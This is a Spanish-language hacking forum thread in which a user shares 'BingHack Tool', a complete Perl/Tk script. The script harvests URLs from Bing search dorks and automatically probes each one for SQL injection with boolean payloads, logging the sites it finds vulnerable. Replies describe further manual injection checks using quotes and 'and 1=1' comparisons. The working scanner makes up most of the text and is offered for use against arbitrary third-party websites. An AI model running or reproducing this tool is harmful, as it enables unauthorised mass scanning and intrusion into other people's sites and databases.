[Perl Tk] BingHack Tool 0.1

Iniciado por BigBear, 26 Mayo 2012, 16:02 PM

0 Miembros y 1 Visitante están viendo este tema.

BigBear

Version Tk de un script en Perl para buscar paginas vulnerables a SQLi usando Bing.

Una imagen



El codigo

Código (perl) [Seleccionar]

#!usr/bin/perl
#BingHack Tool 0.1
#Version Tk
#Coded By Doddy H

use Tk;
use LWP::UserAgent;

my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);
$nave->timeout(5);

my $color_fondo = "black";
my $color_texto = "green";

if ( $^O eq 'MSWin32' ) {
    use Win32::Console;
    Win32::Console::Free();
}

my $hj =
  MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
$hj->geometry("600x285+20+20");
$hj->resizable( 0, 0 );
$hj->title("BingHack Tool 0.1");

$hj->Label(
    -text       => "Dork : ",
    -font       => "Impact1",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 18, -y => 22 );
my $dork = $hj->Entry(
    -width      => 30,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 68, -y => 26 );

$hj->Label(
    -text       => "Pages : ",
    -font       => "Impact1",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 270, -y => 22 );
my $pages = $hj->Entry(
    -width      => 10,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 335, -y => 26 );

$hj->Button(
    -text             => "Search",
    -width            => 10,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto,
    -command          => \&search
)->place( -x => 420, -y => 26 );
$hj->Button(
    -text             => "Logs",
    -width            => 10,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto,
    -command          => \&logs
)->place( -x => 495, -y => 26 );

$hj->Label(
    -text       => "Links Found",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 110, -y => 80 );
my $links = $hj->Listbox(
    -width      => 40,
    -height     => 10,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 30, -y => 120 );

$hj->Label(
    -text       => "SQLi Found",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 390, -y => 80 );
my $founds = $hj->Listbox(
    -width      => 40,
    -height     => 10,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 310, -y => 120 );

MainLoop;

sub search {

    $links->delete( "0.0", "end" );
    $founds->delete( "0.0", "end" );

    $hj->update;
    $hj->title("BingHack Tool 0.1 [+] Status : Searching");
    my @urls = bing( $dork->get, $pages->get );
    $hj->update;

    for (@urls) {
        $hj->update;
        $links->insert( "end", $_ );
    }

    $hj->title("BingHack Tool 0.1 [+] Status : Scanning");

    for my $pa (@urls) {
        $hj->update;
        sql($pa);
    }
    $hj->update;
    $hj->title("BingHack Tool 0.1");
}

sub logs {

    my $file = "sql-logs.txt";

    if ( -f $file ) {
        system($file);
    }
    else {
        $hj->Dialog(
            -title            => "Error",
            -buttons          => ["OK"],
            -text             => "Logs not found",
            -background       => $color_fondo,
            -foreground       => $color_text,
            -activebackground => $color_text
        )->Show();
    }
}

sub sql {
    my ( $pass1, $pass2 ) = ( "+", "--" );
    my $page = shift;

    my $testar1 = toma( $page . $pass1 . "and" . $pass1 . "1=0" . $pass2 );
    my $testar2 = toma( $page . $pass1 . "and" . $pass1 . "1=1" . $pass2 );

    unless ( $testar1 eq $testar2 ) {
        $founds->insert( "end", $page );
        savefile( "sql-logs.txt", $page );
    }
}

sub savefile {
    open( SAVE, ">>" . $_[0] );
    print SAVE $_[1] . "\n";
    close SAVE;
}

sub bing {

    my ( $a, $b ) = @_;
    for ( $pages = 10 ; $pages <= $b ; $pages = $pages + 10 ) {
        $hj->update;
        my $code =
          toma( "http://www.bing.com/search?q=" . $a . "&first=" . $pages );

        while ( $code =~ /<h3><a href="(.*?)"/mig ) {
            push( @founds, $1 );
        }
    }
    my @founds = repes( cortar(@founds) );
    return @founds;
}

sub repes {
    my @limpio;
    foreach $test (@_) {
        push @limpio, $test unless $repe{$test}++;
    }
    return @limpio;
}

sub cortar {
    my @nuevo;
    for (@_) {
        if ( $_ =~ /=/ ) {
            @tengo = split( "=", $_ );
            push( @nuevo, @tengo[0] . "=" );
        }
        else {
            push( @nuevo, $_ );
        }
    }
    return @nuevo;
}

sub toma {
    return $nave->get( $_[0] )->content;
}

#The End ?

z3nth10n

#1
Esto no es doble post?? a mi salen dos...  :rolleyes:

Observa:



>:D  >:D  >:D xD

Interesados hablad por Discord.

BigBear

si leyeras bien el titulo te darias cuenta de que una version es para consola y otra es para Tk (version grafica).

Runex

Aquí con tal de subir mensajes se aprovecha todo anda que..

Buen trabajo Doddy, aunque las webs que muestras en la imagen del BingHack no me aparecen como vulnerables si compruebo yo la vuln a mano :S.

Un saludo :)
"No renunciaría al bambú.
Nunca renuciaría a ti.
No te compares con otros" "El me dijo:
El bambú tenía un propósito diferente al del
helecho, sin embargo eran necesarios y
hacían del bosque un lugar hermoso".

BigBear

gracias por el aviso runex voy a tener que mejorar la funcion sql() debido a que solo 3 urls de la imagen son realmente vulnerables.

Runex

Cita de: Doddy en 26 Mayo 2012, 16:36 PM
gracias por el aviso runex voy a tener que mejorar la funcion sql() debido a que solo 3 urls de la imagen son realmente vulnerables.


De nada Doddy, para eso estamos :).

Lo que hacía yo para comprobar la vulnerabilidad, era añadir a la url ésto: "noticias.php?id=1+and+1=1" si el código fuente de esa era igual al código fuente original y el código fuente de "noticias.php?id=1+and+1=0" es diferente de ambas, lo más probable es que sea vulnerable.

Otra forma, la más conocida, le añades comillas al final de la url, y compruebas si en su código aparece la palabra Sql Error, o los típicos errores, ya sabes :).

Un saludo Runex :)
"No renunciaría al bambú.
Nunca renuciaría a ti.
No te compares con otros" "El me dijo:
El bambú tenía un propósito diferente al del
helecho, sin embargo eran necesarios y
hacían del bosque un lugar hermoso".

BigBear

la tecnica que use es la misma que dijiste

Código (perl) [Seleccionar]
sub sql {
   my ( $pass1, $pass2 ) = ( "+", "--" );
   my $page = shift;

   my $testar1 = toma( $page . $pass1 . "and" . $pass1 . "1=0" . $pass2 );
   my $testar2 = toma( $page . $pass1 . "and" . $pass1 . "1=1" . $pass2 );

   unless ( $testar1 eq $testar2 ) {
       $founds->insert( "end", $page );
       savefile( "sql-logs.txt", $page );
   }
}

z3nth10n

Perdona, y porque no lo subes todo en un mismo post?  :huh:

Por cierto, buen trabajo.  ;D

Interesados hablad por Discord.

BigBear

lo hago en post diferentes para que quede mas ordenado debido a que en la version Tk siempre pongo una imagen del programa y en la version consola no.



s3tH

Que tal amigo, me podria dar instruciones para instalar TK en windows, por k en los paquetes solo encuentro TKx, e intente instalar tcl, pero no puedo compilar con tk, saludos.